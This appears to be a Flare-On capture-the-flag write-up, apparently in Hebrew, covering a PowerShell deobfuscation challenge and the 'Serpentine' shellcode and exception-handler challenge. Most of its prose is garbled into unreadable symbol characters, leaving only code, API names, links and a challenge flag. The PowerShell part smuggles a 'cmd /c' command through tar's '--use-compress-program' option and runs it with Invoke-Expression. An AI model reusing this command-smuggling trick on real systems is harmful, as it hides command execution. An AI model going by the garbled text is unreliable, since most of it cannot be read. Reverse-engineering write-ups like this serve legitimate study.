Set - Variable - Name bytes1 - Value ( [ System.Text.Encoding ] ::UTF8.GetString($bytes0))  
Set - Variable - Name bytes2 - Value ($bytes1.Substring(64, 188))  
 
# Convert from base64 to bytes  
Set - Variable - Name bytesFromBase64 - Value ( [ Convert ] ::FromBase64 String($bytes2))  
Set - Variable - Name resultAscii - Value 
( [ System.Text.Encoding ] ::UTF8.GetString($bytesFromBase64))  
Set - Variable - Name hexBytes - Value ($resultAscii | ForEach- Object {  
    '{0:X2}' - f $ _  # Format each byte as two - digit hex with uppercase let ters  
})  
Set - Variable - Name hexString - Value ($hexBytes - join ' ' )  
#Write - Output $hexString  
Set - Variable - Name hexBytes - Value ($hexBytes - replace " " , "" )  
# Convert from hex to bytes (ensuring pairs of hex characters)  
Set - Variable - Name bytes3 - Value (0..( $hexBytes.Length / 2 -  1) | ForEach- Object {  
    Set - Variable - Name startIndex - Value ($ _ * 2)  
    Set - Variable - Name endIndex - Value ($startIndex + 1)  
    [ Convert ] ::ToByte($hexBytes.Substring($startIndex, 2), 16)  
})  
Set - Variable - Name bytes5 - Value ( [ Text.Encoding ] ::UTF8.GetString($bytes3))  
# Convert the key to bytes  
Set - Variable - Name keyBytes - Value ( [ Text.Encoding ] ::ASCII.GetBytes( "FLAREON24"))  
# Perform the XOR operation  
Set - Variable - Name resultBytes - Value ( @())  
for (Set - Variable - Name i - Value (0) ;  $i - lt $bytes5.Length ; $i++ ) {  
    Set - Variable - Name resultBytes - Value ($resultBytes + ($bytes5 [ $i ] - bxor $keyBytes [ $i % 
$keyBytes.Length ] ))  
}  
# Convert the result back to a string (assuming ASCII encoding)  
Set - Variable - Name resultString - Value 
( [ Syste m.Text.Encoding ] ::ASCII.GetString($resultBytes))  
 

https://github.com/Malandrone/PowerDecode
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Set - Variable - Name command - Value ( "tar - x -- use- compress- program 'cmd /c echo $resultString 
> C: \ \ flag' - f C: \ \ flag" )  
Invoke - Expression $command 

ˢˤ ˭˧˧ˮ˰ˬ ˡˣ˞ˬ Φˢ˞˶ˮ ˣˢ˷ˤ˧˞˷ ˨˶˰ ˶˟ˣ˰ xor ˫˰ FLAREON24 ˮ˩ˣˬˣ ˯˳˟ˣ˵˪ ˪ˠˡˢ Φ˭ˬˤ ˟ˣ˷ ˶ˣ˟˰˪ ˪˰ sπ

transactions x˞ ˶˸ˣ˧ ˭ˣ˩ˮ ˪˰ sπdata ˫ˢ˪˷ Φ˫˰˲ˢ ˭ˬˤ˟ ˭ˣ˧˯˧ˮ ˰˴˟˪ ˸˞ ˸ˣ˪ˣ˰˲ˢ ˦˲˧˶˵˯˟˷ Φ ˨˩ ˢ˞˶ˮ 

πsrecipe ˧˪˷ ˟πCyberChefΥ 

 

˧ˡ˥ ˭˧˰ˢ ˫˩˧ˮ˧˟ˬ ˧˞ˡˣ ˣ˞˶˧ ˷˧˷ ˧˪ ˸ˣ˰˦ ˱ˣ˯˟ Σ˧˸˶ˡˠˢ ˸˞ ˥˸˲ˬˢ ˩πhex ˪˟˞ ˞ˣˢ ˶ˣˬ˞ ˸ˣ˧ˢ˪ UTF8 Φˤ˞ 

˭ˣ˩ˮ ʕ˸˞ ˸ˣ˰˦ ˧˪˷ Σ˪˟˞ ˭˲ˣ˞˟ ˶ˤˣˬ ˧ˡˬ˪ Σˢˤ ˡ˟˰ ˞˵ˣˣˡ ˢ˩˩ ˞˪ˣ ˢˤ˷˩ ˶ˡˠˣˬ ˩πUTF8 Ηˤ˰ˬ ˞˴˧ ˵ˣ˸ˬ Φ

˪˟˞ ˢˬ˪ ˢˤ ˡ˟ˣ˰ ˢ˩˩ Κˢˬ˩ ˧˸˧˯˧ˮ˷ ˭˧˟ˢ˪ Σ˞˪ ˧˸˥˪˴ˢ Φ˥ˬ˷˞ ˫˞ ˣ˶˧˞˸ ˸˞ ˧˧ˮ˧˰ Φ 

˪˩˟ ˢ˶˵ˬ ˶˥˞˪ ˭˧ˤˮ˷ ˸˞ sπinput data ˪˷ sπtransaction ˧ˮ˷ˢ ˢ˦ˬ˪ˬ ύˢˮˣˬ˸˟ ˫˰ ˢˬ˧˷˶ˢ ˧˸˞˶ˢ˷ 

ˣ˵ˬ˫ˡ ό˪˟˵ˮ ˸˞ ˪ˠˡˢ ˧˵˪˥ˢΥ 

N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.co 

˞˪ ˰ˡˣ˧ ˢˬ˪ ˢ˶˯˥ ˸ˣ˞ˢ m ˱ˣ˯˟ ˪˟˞ ˱˧˯ˣˮ ˢ˸ˣ˞ ˣˮˬ˴˰˟ ˪˟˵ˮˣ ˸˞ ˪ˠˡˢ ˭ˣ˩ˮˢΦ ΦΦJ 
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˶ˠ˸˞ˢ ˧˰˧˷˸ˢ π Serpentine  

˶ˠ˸˞ˢ ˢˤˢ ˢ˧ˢ ˢ˷˵ ˡ˥ˣ˧ˬ˟ Σˢ˷˵ ˢ˶ˣ˴˟ ˸˧ˮˣ˴˧˵ Φ˶ˬ˞ˮ ˧˪ ˪˰ ˧ˡ˧ ˫˧˶˸ˣ˲ ˫˧˶˥˞ ˢˤ˷ ˶ˠ˸˞ˢ ˧˩ˢ ˢ˷˵ 

˫ˢ˷ ˣ˪˵˸ˮ x˟ ˫ˠ ˭˧˟ˬ ˫˧˶ˠ˸˞ˢ ˫˧ˮ˷˟ ˸ˣˬˡˣ˵ ˸ˣ˧ˣ˶˥˸˟ Flare-On Φ˫˞ ˞˪ ˫˸˟˵˰ ˡ˰ ˣ˧˷˩˰ ˡ˥˧ ˫˰ 

˧˶˞ˮ˧˟ˢ ˫˸˞ˣ ˸ˬ˞˟ ˫˧˴ˣ˶ ˭˧˟ˢ˪ ˸˞ ˨˶ˡ ˭ˣ˶˸˲ˢ ˧˪˷ Σ˧ˮ˞ ˳˧˪ˬˬ ˫ˣ˥˟ ˡ˧˶ˣˢ˪ ˣ˸ˣ˞ ˫˩ˬ˴˰˟ Σ˸ˣ˯ˮ˸ˢ˪ 

ˣ˸˧˞ ˸ˣ˯ˮ˪ˣ ˟ˣ˵˰˪Φ 

˶ˠ˸˞˟ ˪˟˵ˮ ˳˟ˣ˵ Σ˪ˡˣˠ˟ MBуΦу ˠˣ˯ˬˣ PE ˫˷˟ serpentine Φˢ˧˴˪˧˲ˬˣ˵˧ˡˢ ˪˷ sπmain ˣ˪˷ ˸˧˞˶ˮ ˨˩Υ 

 

ˢˮˬˬˣ ˫ˠ ˢ˪ˣ˰ ˢˮ˟ˢˢ ˪˷ ˢˬ ˨˧˶˴˷ ˸ˣ˷˰˪ ˶ˠ˸˞˟ π ˵˲˯˪ ˥˸˲ˬ ˭ˣ˩ˮ ˭˟ он ˫˧ˣˣ˸ Φ˨˞ ˸ˣ˪ˣ˰ ˢˬ˩ 

˸ˣ˪˞˷ ˭˷˞˶˟ˣ π ˢˬ ˨˶˰ˢ ˸˟ˣ˸˩˟˷ lpAddress ˢˬˣ ˡˣ˵ˢ ˳˶ˣˬ˷ ˫˷ Κˤ˞ ˶˶˟˸ˬ ˢˮ˸˷ˬˢ˷ ˪˥˸ˣ˞ˬ 

˸˪ˣ˰˲˟ TlsCallback Σ˰ˣˡ˧˩ ˣˮ˪ ˸ˣ˪ˣ˰˲ ˞˩ˢ˪ ˸ˣ˞˶˵ˮ ˧ˮ˲˪ sπmain Σ˸˟ˣ˸˩˪ˣ ˭˰˦ˮ shellcode ˪ˡˣˠ˟  

уллллл0x ˟˷ˣ˧˷ ˰ˣ˟˵˵ ˧˶˞ˮ˧˟˟ Σˢˤ ˫ˠ ˶˧˟˯ˬ ˸˞ ˪ˡˣˠˢ ˧˟˧˯˞ˬˢ ˪˷ ˧˶˞ˮ˧˟ˢ Φ˨˩ ˢˤ ˢ˞˶ˮΥ 
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˧˸˦˪˥ˢ ˳˧˶ˢ˪ ˫˰ ˶ˠ˞˟˧ˡˢ ˢˮ˟ˣˬˢ ˟πIDA Σ˧˸ˬ˷ ˦ˮˬˣˠ˶˞ ˥ˣˮ ˢ˧ˢ˧˷ ˧˪ ˪˵ ˸ˣˢˤ˪ ˭ˣ˶˩˧ˤ˟ ˧˸˧˪˧ˠˣ 

ˢˡˣ˵˲ˢ˷ ˢˮˣ˷˞˶ˢ ˸˧˞˶˵ˮ˷ ˟πshellcode ˞˧ˢ hlt Φˢˡˣ˵˲ˢ ˸˞ˤˢ ˸ˬ˶ˣˠ ˪πexception ˪˷ privileged 

instruction ˞˧ˢ˷˩ ˢ˴˶ ˟πuser mode Σ˞˧ˢ ˢˡ˰ˣˮ ˳ˣ˶˪ ˵˶ ˟πkernel modeΦ 

˶ˤˣˬ Σˢˬ˪ ˢˤ˷ ˫ˣ˶ˠ˧ ˣˬ˴˰˪ ˶˴˧˧˪ exception Κˢ˟ˣ˷˸ˢ ˢˡ˧˥˧ˢ ˧˸˪ˣ˩˧˷ ˟ˣ˷˥˪ ˢ˧˧˪˰ ˞˧ˢ ˢ˞˶ˮ˩˷ ˷˧˷ 

ˡˣ˵ ˟πexception handler ˪˲˦ˬ˷ ˢˤ˟ ˩x ˪ˢ˦ˮ˞ˣ˲ˢ ˢˤ control flow obfuscation x˞ ˫˧˪˧ˬ˟ ˸ˣ˶˥˞ π 

˸ˣ˷˰˪ ˫˧˧˥ ˫˧˷˵ ˫˧˶˯˶˟˶˪ ˣˮˣˬ˩ Φˢˤ ˫ˠ ˶˧˟˯ˬ ˸˞ ˢ˶ˣ˷ˢ ˸˪˧˥˸˟ sπmainΥ 

SetUnhandledExceptionFilter (TopLevelExceptionFilter) ;  

ˢˤ ˫ˠ ˶˴ˣ˧ ˸ˣ˧˰˟ ˫˰ ˫˧˶ˠ˞˟˧ˡ ˫˧˯˲ˣ˸˷ exceptions ˢ˪˞˩ ˸˶˧˶˟˩ ˪ˡ˥ˬ Σ˨˶˦˴ˮ ˡ˧ˠˢ˪ ˶ˠ˞˟˧ˡ˪ ˣˮ˪˷ 

˫˪˰˸ˢ˪ ˢˤˬ ˪˰ ˸ˮˬ ˪˩ˣˮ˷ ˟ˣ˵˰˪ ΦIDA ˢ˞˶ˢ ˧˪ ˢˤ˷ ˯˲˸ˮ ˪˰ hlt Φ˞˪ˣ ˵˶ ˢˡˣ˵˲ˢ ˸˧ˮˣ˷˞˶ˢ Σ˷˧ ˭ˣˬˢ 

˸ˣˡˣ˵˲ ˢ˪˞˩ ˫ˠ ˨˷ˬˢ˟ Φ˪˟˞ ˞˪ ˢ˞˶ˢ ˧˪ ˢˬ ˢ˶ˣ˵ ˭˧˟ ˭˧˟˪ Φˤ˞ ˧˸˦˪˥ˢ ˶ˣ˟˰˪ ˪πWindbg ˷ˬ˸˷ˢ˪ˣ ˟π

time Travel Debugging ˪˰ ˨˶ˡˢΦ 

Time Travel Debugging ˶˷˲˞ˬ ˮ˪ xά˦˧˪˵ˢ˪ έ˸˞ ˪˩ ˢ˴˶ˢˢ ˤ˞ˣ ˳ˣ˥ ˠˮ˧ˠ˞˟˧ˡˬ ˢˬ˧ˡ˵ Σ˶˷˲˞ ˫ˠ 

˶ˣˤ˥˪ ˢ˶ˣ˥˞ ˠˮ˧ˠ˞˟˧ˡ˟ Φ˨˩ ˢˤ ˢ˞˶ˮ ˟πwindbgΥ 

 

˥˵ˣ˪ ˢˤ˪ ˢˬ˩ ˸ˣ˧ˮ˷ ˸ˣ˟ˣ˦ ˳ˣ˶˪ Φ˧˸ˬ˷ breakpoint ˢ˞˧˶˵˟ ˪πshellcode ˧˸˧˷˰ˣ step into ˧˸˰ˠˢˣ ˪-

ntdll!KiUserExceptionDispatch ˫˧˯˵ˬ Σ˪˟˞ ˢ˲˧˞ ˡˣ˵ˢ ˸ˬ˞ˬ˷ ˸˞ ˬˢ˥˸˲ ˧˸ˮˤˢ˷ Κ˧˸˟˷˥ ˧ˬ˴˰˪ Φ 

˶˷˲˞ ˞ˣ˶˵˪ ˪˰ ˞˷ˣˮˢ ˢˤˢ ˡˣ˰ ˡˣ˰˧˸˟ ˪˷ ˦˲ˣ˯ˣ˶˵˧ˬ ˸ˣˡˣ˞ x64 exception handling Φ˪˟˞ ˢˤ ˢ˧ˢ 

˨ˣ˶˞ ˟˩˶ˣˬˣ ˧˪ ˧ˡˬ Σ˫ˠ ˧˸˶ˤ˥˷˩ ˢˤ˪ ˨˷ˬˢ˟ ˧˸˧˯˧ˮˣ ˟ˣ˷ ˭˧˟ˢ˪ ˵ˬˣ˰˪ ˞˪ ˧˸˥˪˴ˢ Φ 

  

https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64
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˸˞˶˷ˢ˟ ˶ˠ˸˞ˢ ˢˤˢ Σ˧ˮ˞ ˭ˮ˩˸ˬ ˟ˣ˸˩˪ ˶ˬ˞ˬ ˵˶ ˪˰ ˞˷ˣˮˢ ˢˤˢ Φ˪˟˞ ˪˩˟ ˸˞ˤ ˧˸ˡˬ˪ ˶˟ˡ ˫˧˧ˮ˷ˣ ˤ˞ˣ 

˧˸˦˪˥ˢ ˶ˣˤ˥˪ ˪πIDA ˫˧˧˸ˮ˧˟˪ Φ˧˸˴˴ˢ ˪˩˟ ˢ˪ˣ˰˲ ˧ˮ˲˪ main ˭ˣ˪˥˟ ˸ˣ˪ˣ˰˲ˢ ˪˷ IDAΥ 

 

˧˸˧˞˶ˣ ˢˬ˩ ˫˧˶˟ˡ ˫˧ˮ˧˧ˮ˰ˬΥ 

 

ˢ˪ˣ˰˲ˢ ˪˧˰˪ ˢ˞˶ˬ˷ ˥˸˲ˬˢ˷ ˭˟ он ˫˧ˣˣ˸ˢ ˞ˣˢ ˢ˷˰ˬ˪ ˪ˠˡˢ ˵˶ ˧˪˟ ˦ˬ˶ˣ˲ˢ ˰˧ˠˬ˷ ˱ˣ˯˟: 

 

ˡˣ˰ ˢ˪ˣ˰˲ ˸˞˶˵ˮ˷ ˢ˶˵ˬ˟ ˥˸˲ˬˢ˷ ˞˪ ˭ˣ˩ˮ: 
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ˢ˪ˣ˰˲ ˢˮˣ˟˷ ˣˢ˷ˤ˧˞ ˢˮ˟ˬ ˫˧ˮˣ˸ˮ ˭˟ ˢ˷ˣ˪˷ DWORDS ˞˪˷ ˶ˣ˶˟ ˰ˠ˶˟ ˢˤ ˢˬ˪ ˞ˣˢ ˷ˬ˷ˬ: 

 

˧˪ˣ˞ˣ ˢ˪ˣ˰˲ˢ ˧˩ˢ ˸ˮ˧˧ˮ˰ˬ Φˢ˪ˣ˰˲ ˸˞˶ˣ˵˷ ˪πRtlInstallFunctionTableCallback ύ˧˸ˠ˟˧ˡ ό˨˩ˣ ˫˴˰˟ 

˧˶˞ˮ˧˟ˢ ˰ˡˣ˧ ˢ˲˧˞˪ ˸ˣˮ˲ˢ˪ ˪˩ ˢ˯˧˶˵ Φ˟ˠ˞ Σ˞˧ˢ ˸˷ˬ˸˷ˬ ˟πCallback function ˫˞ˣ ˟ˣ˵˰ˮ ˧˶˥˞ ˨˶˰ˢ 

ˢ˟˷ Σˢ˪ˠˮ ˞ˣˢ˷ ˵ˣ˧ˡ˟ ˣ˰˲ˢˢ˪ ˣˮ˞˶ˢ˷ ˢˮˣˬ˸˟ ˸ˬˡˣ˵ˢ Φ˶˶˟˸ˬ ˢ˪ˣ˰˲ˢ˷ ˢˮˣˬ˸˟ ˸ˬˡˣ˵ˢ ˞˧ˢ 

˸˪ˣ˰˲ sπcallback Φˢ˞˶ˮ˩ ˵˪˥˷ ˸ˣ˪ˣ˰˲ˢˬ ˢ˪˞ˢ ˣ˴˶ˣˢ ˧ˮ˲˪ main ˣˢ˷˩˧˞ ˧ˮ˞ˣ ˦ˣ˷˲ ˧˸˯˲˯˲ ˭˸ˣ˞Φ 

˭˧˧ˡ˰ˣ ˧˶˥˞ ˢˮ˟ˢˢ ˣˤˢ ˢ˞˧˶˵ˣ ˟ˣ˷ ˟ˣ˷ˣ ˪˷ ˡˣ˰˧˸ˢ Σ˞˪ ˧˸ˮ˟ˢ ˢˬ ˡˣ˵ˢ ˢ˷ˣ˰ ˫˰ ˥˸˲ˬˢ ˧˪˷ Φ˱ˣ˯˟ Σ

ˢˤ ˪˩ ˢˬ ˭˧˧ˮ˰ˬ˷ x˞˧˸ Φˤ˞ ˧˸˶ˤ˥ ˪πwindbg ˧˸˶˟˰ˣ ˶ˠ˞˟˧ˡ˟ ˢ˶ˣ˥˞ ˢˬ˧ˡ˵ˣ ˟ˣ˷ ˟ˣ˷ˣ ˟ˣ˷ˣ Σ˧˸˧˯˧ˮ ˪˩ 

˧ˮ˧ˬ ˫˧˶˟ˡ ˣˬ˩ hardware breakpoints x˞ ˦ˣ˷˲ ˠˮ˧ˠ˞˟˧ˡ ˭˷˧ ˟ˣ˦ˣ ˧˸˰˵˸ˮˣ ˭˞˩ ˫˧ˬ˧ ˫˧ˬ˪˷ Φ˱ˣ˯˟˪ 

˧˶˥˞ ˢ˟˶ˢ ˠˮ˧ˠ˞˟˧ˡ ˧˸˧˪˧ˠ ˟˪˷˟˷ ˫˧ˣ˯ˬ ˸˞˶˵ˮ ˢ˪ˣ˰˲ˢ ntdll!RtlpExecuteHandlerForException 

˷˸˧˞˶ˮ ˨˩Υ 

 

ˢ˞˧˶˵ˢ ˪πrax ˫˴˰˟ ˸˶ˤˣ˥ ˢˡˣ˵ˮ˪ ˟πshellcode Σ˫˷ ˞˴ˬˮ ˪˩ ˡˣ˵ˢ ˭˧˧ˮ˰ˬˢ Ηˡ˟˰˧ˡ˟ ˧ˮ˞ ˰ˡˣ˧ ˡ˧ˠˢ˪ ˷˧˷ 

ˡˣ˰ ˫˧˵˪˥ ˢˮ˟ˢ˪ ˢ˵ˣˬ˰ ˪˷ sπflow Σ˪˟˞ ˨˶ˣ˴˪ ˸˶˧˸˲ ˶ˠ˸˞ˢ ˵˧˲˯ˬ ˫˧˷˪ breakpoint ˢ˞˧˶˵˟ ˪πcall 

rax ˭˧˟ˢ˪ˣ ˢˬ ˢ˶ˣ˵ ˦˪˵˪ ˣˮ˪˷ Φ 

˷˧ ˢˬ˩ ˸ˣ˧˰˟ π ˸˧˷˞˶ Σπsshellcode ˢˮ˷ˬ ˸˞ ˣˬ˴˰ ˨ˣ˸ ˧ˡ˩ ˢ˴˧˶ Φ˸˧ˮ˷ Σπsshellcode ˪˟˶ˣ˯ˬ ˧ˡˬ˪ 

ˢ˷˵ˣ ˡˣ˞ˬ ˟ˣ˵˰˪ ˣ˧˶˥˞ ˭˧˟ˢ˪ˣ ˢ˲˧˞ ˦˪˵ˢ ˣˮ˪˷ ˯ˮ˩ˮ ˢˮˣˬ˸˪ ˢˤ ˢ˷˵ ˡ˥ˣ˧ˬ˟ Φ˭˩˪ ˧˸˞˴ˣˢ ˸˞ sπ

shellcode Σ˨ˣ˸ ˧ˡ˩ ˧ˮ˞˷ ˢ˷ˣ˰ step into ˸˶ˤ˰˟ ˦˲˧˶˵˯ ˪πwindbg Φ˨˩ ˢ˷˰ˬ˪ ˧˸˶˟ˠ˸ˢ ˪˰ ˵˪˥ˢ ˪˷ 

˧ˣˮ˧˷ˢ ˧ˬ˴˰ˢ ˪˷ xΣ˧˩ ˧ˮ˞ ˶ˬˣ˷ ˸˞ ˸ˣˡˣ˵˲ˢ ˸˥˞ ˸˥˞ ˰ˠ˶ ˧ˮ˲˪ ˧ˮ˞˷ ˰˴˟ˬ ˭˸ˣ˞ Φ 

  

https://learn.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-rtlinstallfunctiontablecallback?source=recommendations
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˸˞ ˦˲˧˶˵˯ˢ ˧˸˴˶ˢ ˪˰ session ˠˮ˧ˠ˞˟˧ˡ ˪˧ˠ˶ ˪˷ ˧˶˞ˮ˧˟ˢ ˞˪ˣ time travel debugging ˢ˧ˢ˷ ˧˷ˣˬ˧˷ ˵˶ 

˪˰ ˸ˮˬ ˞˴ˬ˸ˢ˪ ˧˶˞ˮ˧˟˟ ˞ˣ˴ˬ˪ˣ ˸˞ ˡˣ˵ˢ ˧˦ˮˣˣ˪˶ˢ ˰˴˟˸ˬ˷Φ 

˶˷˲˞ ˞ˣ˴ˬ˪ ˸˞ ˦˲˧˶˵˯ˢ ˭˞˩ Σ˧ˮ˞ ˞˪ ˳˧˪ˬˬ ˷ˬ˸˷ˢ˪ x˟ Σ˞ˣˢ ˧˞˶ˣˮ ˷˧ˣ x˟ memory leak ύ˭˧˧ˡ˰˷ ˭˧˞ ˧˪ 

ˠ˷ˣˬ ˢˬ ˫˶ˣˠ x˪ ό˪˟˞ ˸ˣ˧ˢ ˭ˬˤˣ ˢ˴˧˶ˢ ˸˧˯˥˧ ˶˴˵ Σˢˮˣ˩ˬˢ ˧˪˷ ˢˡ˶˷ ˸˞ ˢˤΦ 

ˢˮˢ ˢ˪ˣ˰˲ˢ ˢˮˣ˷˞˶ˢ ˸˞˶˵ˮ˷ ˟πshellcodeΥ 

 

˱˸˧˷˞˶ ˟ˣ˷˥ ˧˪ ˭˧˧˴˪ ˪˩˟˷ ˢˡˣ˵˲ ˷˧˷ ˢ˟ ˶ˣ˩ˤ˞ ˸˟ˣ˸˩˪ ˭ˣ˶˩˧ˤ˟ Σ˧˸ˠ˞ˡ ˦˲˧˶˵˯˟ ˧˪˷ ˯˧˲ˡˢ˪ ˸˞ 

ˢˡˣ˵˲ˢ ˡ˥˧˟ ˫˰ ˸˟ˣ˸˩ˢ ˨˶˰ˢˣ ˞˴ˬˮ˷ ˢ˟ Σ˦ˬ˶ˣ˲˟ ˞˟ˢΥ 

instruction # <address> <value at address>  

˸ˬ˞ˢ ˧˸˶˸˲˷˩˷ ˸˞ ˢˤ ˭ˬˤ˟ ˸ˬ˞ ˧˸˧˯˧ˮ ˭ˣˬˢ ˫˧˶˟ˡ ˪˪ˣ˩ ˯˧˲ˡˢ˪ ˫ˠ ˸˞ ˟˴ˬ ˠ˶ˢϥ˫˧˶˦˯˧ ˪˩˟ ˣ˵ˮˢˡ 

ˢˤˣ ˢ˧ˢ ˧˞˶ˣˮ Φ˱ˣ˯˟ ˧˸ˮ˟ˢ ˵˧˲˯ˬ˷ ˧˪ ˸˰ˡ˪ ˢˬ ˫˧˩˶˰ˢ ˭ˣ˶˩˧ˤ˟ ˭˰˦ˮ˷  Φ 

  

https://gist.github.com/dani0104/e4408ea3afd7152d5b7c1a3553bbccb2
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ˤ˞ ˢˬ ˢ˷˰ˬ˪ ˢ˶ˣ˵ ˢ˲ ˨˧˞ˣ ˢˢˤˮ ˸˞  ˸ˣˡˣ˵˲ˢ ˸ˣ˟ˣ˷˥ˢ Κ˨˶ˣ˴˪ ˨˩ ˭ˮˣ˟˸ˮ ˫ˠ ˪˰ ˢ˪ˣ˰˲ˢ ˢ˧˧ˮ˷ˢΥ 

 

˫ˡˣ˵ ˪˩ ˢ˪ˣ˰˲˟ ˢ˧˧ˮ˷ˢ ˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˥˸˲ˬˢ ˣˮˤˢ˷ ˭˰˦ˮ ˭ˣ˶˩˧ˤˢˬ Υ 

4c4b4a4948474645 # EFGHIJKL ( reversed accounting for endianess)  

 

ˢ˞˶ˮ ˢˤ˷ ˥˵ˣ˪ ˢˮˣˬ˷ ˫˧ˣˣ˸ ˪˥ˢ ˯˵ˡˮ˧˞ˢˬ ˧˰˧˟˶ˢ  Φˤ˞ ˶ˣ˶˟ ˣˮ˪ ˢˡˣ˵˲ˢ˷ ˢ˰˧˲ˣˬ˷ ˡ˧ˬ ˧˶˥˞ pop 

rax ˞˧ˢ ˢˡˣ˵˲ ˢ˟ˣ˷˥ Φ˶ˣˤ˥ˮ ˢ˪ˣ˰˲˪ ˢˮˣ˷˞˶ˢ ˫˞ ˪˩˸˯ˮ ˟ˣ˦ ˪˰ ˶ˡ˯ ˸ˣ˪ˣ˰˲ˢ Σˢ˞˶ˮ ˢ˷πshellcode 

ˢ˷˰ˬ˪ ˥ˮ˰ˣ˲ˬ ˢˡˣ˵˲ˢˣ ˧ˮ˲˪ pop rax ˞˧ˢ ˸˞ˤ ˸˟˸ˣ˩˷ ˸˞ ˵˪˥ˢ ˥ˮ˰ˣ˲ˬˢ ˤ˞ˣ ˵˪˥ˢ ˢˤˢ ˭ˣ˶˩˧ˤ˟ 

˭˲˴ˣˬ ˟ˣ˷Υ 

 

ˢˤ ˯ˣ˲ˡ ˶ˤˣ˥˷ ˪˰ ˣˬ˴˰ ˸ˣ˧˟˵˰˟ ˢˤˣ ˞˪ ˪˩ˢ Φ˟ˣ˷ ˪˩˸˯ˮ ˪˰ ˢ˪ˣ˰˲ˢ ˢ˧˧ˮ˷ˢ Σ˭˧˥˟ˮ ˢ˶ˣ˷˟Υ 

movzx rdi, dil  

 

ˣˬ˧˷ ˟˪ ˷˩πrdi ˪˧˩ˬ ˵˪˥ ˦˪˵ˢˬ ˣˮ˪˷ Φ˸˞ˤ ˸˶ˬˣ˞ ˥˵˪ˮ ˣ˸ˢ ˧˷˧ˬ˥ˢ ˦˪˵ˢˬ ˣˮ˪˷ Φ˸˞ˤ ˫ˠ ˸˧˞˶ˮ 

ˢˡˣ˵˲ ˶˲ˣ˯ ˷ˬ˸˧˸ˣ˰ˬ Φ˞˧ˢˣ ˸˧˶ˣ˵ ˭˧˟ sπret ˪πcall Φ˦˟ˬ ˳˟ˣ˵˟ ˣˮ˪˷ ˢ˞˶˧ ˞˪˷ ˡ˧ˬ˸ ˷˧ ˸ˣˡˣ˵˲ ˭˧˟ ret 

π˪call ˪˟˞ ˫˞ ˷˧ ˤ˞ ˭s ˸ˣ˟ˣ˷˥ Φ˪˰ ˸ˮˬ ˞˧˴ˣˢ˪ ˸˞ ˸ˣˡˣ˵˲ˢ ˸ˣ˟ˣ˷˥ˢ ˧˸˟˸˩ ˸˞ ˦˲˧˶˵˯ˢ ˞˟ˢΥ 

with open( "ins.txt" , "r" ) as f:  
  lines = f.read().splitlines()  
 
new_lines = ""  
i = 0 
max_lines = len (lines)  
 
while (i <max_lines - 1):  
  if ( "base" in lines[i]):  
    new_lines += lines[i] + " \ n"  
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  if ( "pop     rax" in lines[i]):  
    new_lines += lines[i +1] + " \ n"  
  elif ( "hlt" in lines[i]):  
     new_lines += lines[i] + " \ n"  
  elif ( "Function" in l ines[i]):  
    new_lines += lines[i] + " \ n"  
  elif ( "ret" in lines[i]):  
    while ( "call" not in lines[i +1]):  
      if (i +1>=max_lines - 1):  
        break  
      new_lines += lines[i +1] + " \ n"  
      i +=1 
  i +=1 
 
with open( "ins_cleaned.txt" , "w+" ) as newf:  
  newf. write(new_lines)  

ˣˬ˧˷ ˟˪ ˧˸˲˯ˣˢ˷ ˡˣ˰ ˫˧˶˟ˡ ˧˸˶ˬ˷˷ ˳˟ˣ˵˟ ˸ˣˡˣ˵˲ˢ ˣˬ˩ base address ˪˷ sπshellcode ˪˩˟ ˢ˴˶ˢ x˞ 

˶˲˯ˬ ˢ˧˴˵ˮˣ˲ˢ x˞ hlt Σ˧˩˶ˣ˴˪ ˠˮ˧ˠ˞˟˧ˡ Σ˨˞ ˫ˢ ˞˪ ˸ˬ˞˟ ˫˧˴ˣ˥ˮ Φ˧˶˥˞ ˢ˴˶ˢˢ ˪˟˵ˮ ˦˪˲ ˧˵ˮ ˶˸ˣ˧Υ 

 

˨˧˷ˬˮ ˟ˣ˵˰˪ ˸˧ˮˡ˧ ˧˶˥˞ ˦˪˵ˢ ˣˮ˪˷ Φˢ˞˶ˮ ˞ˣˢ˷ ˪˲˩ˣˬ ˷ˤ˧˞˟ˣˢ ˰ˣ˟˵ ˤ˞ˣ ˫˰ ˢ˞˴ˣ˸ˢ ˪˷ ˢˤ 

ύc07bcллллллллплу όˢ˶ˣ˵ ˣˢ˷ˬ ˡˣ˷˥ Φ˥˵˪ˮ least significant byte ˞ˣˢ˷ bc  ˤ˞ˣ ˞ˣˢ ˷ˬ˷ˬ ˩πoffset 

˧ˢ˷ˤ˧˞˪ ˸˪˟˦ ˫˧˰ˣ˟˵ ˸˟ нрс ˫˧˸˟ ˢ˪˧˩ˬˢ ˫˧˯˲˞ ˫˧ˡ˥˞ˣ ˫˞ˣ ˦˯˲ˣ˞ˢ ˰˧˟˴ˬ ˪˰ ˡ˥˞ ˤ˞ ˫˧˲˧˯ˣˬ 
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млл0x ˢ˞˴ˣ˸˪ Φ˶˥˞˪ ˭˩ˬ ˞ˣˢ ˟ˣ˷ ˷ˬˣ˷ˬ ˩πoffset Φ˫˰˲ˢ ˣˢ˷ˬ˪ ˢ˞˶ˮ˷ ˣˬ˩ ˸˪˟˦ ˢ˲˪˥ˢ Φ˨˩ ˢ˞˶ˮ 

ˡˣ˵ˢΥ 

 

˨˶˰ˢ ˣˮ˪˷πbc ˨˲ˣˢ ˪πпф ˫˷ˣˬˣ ˢ˞˴ˣ˸˪ Φ˨˩ ˸˞˶ˮ ˸˪˟˦ ˫˧˯˲˞ˢ ˫˧ˡ˥˞ˢˣΥ 

 

˷˧ то ύ˪˩ ˫˧˶˲˯ˬˢ ˯˵ˢ˟ ό˫˧˯˲˞ ˢ˪˥˸ˢ˟ ˤ˞ˣ уd ˫˧ˡ˥˞Φ ˨˩ ˸˧˞˶ˮ ˸˪˟˦ ˢ˲˪˥ˢˢΥ 
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˧ˮ˞ ˷˧˧˟˸ˬ ˶ˬˣ˪ ˥˵˪˷ ˧˪ ˫˧ˬ˧ ˫˧ˬ˪˷ ˦ˣ˪˵˪ ˶˟ˣˡˬ˷ ˢ˷˰ˬ˪ ˶ˣ˟˧˥˟ ˧˸˟ ˫˫˰ carry ˵˶ ˫ˣ˵ˬ˟˷ ˶˟˥˪ 

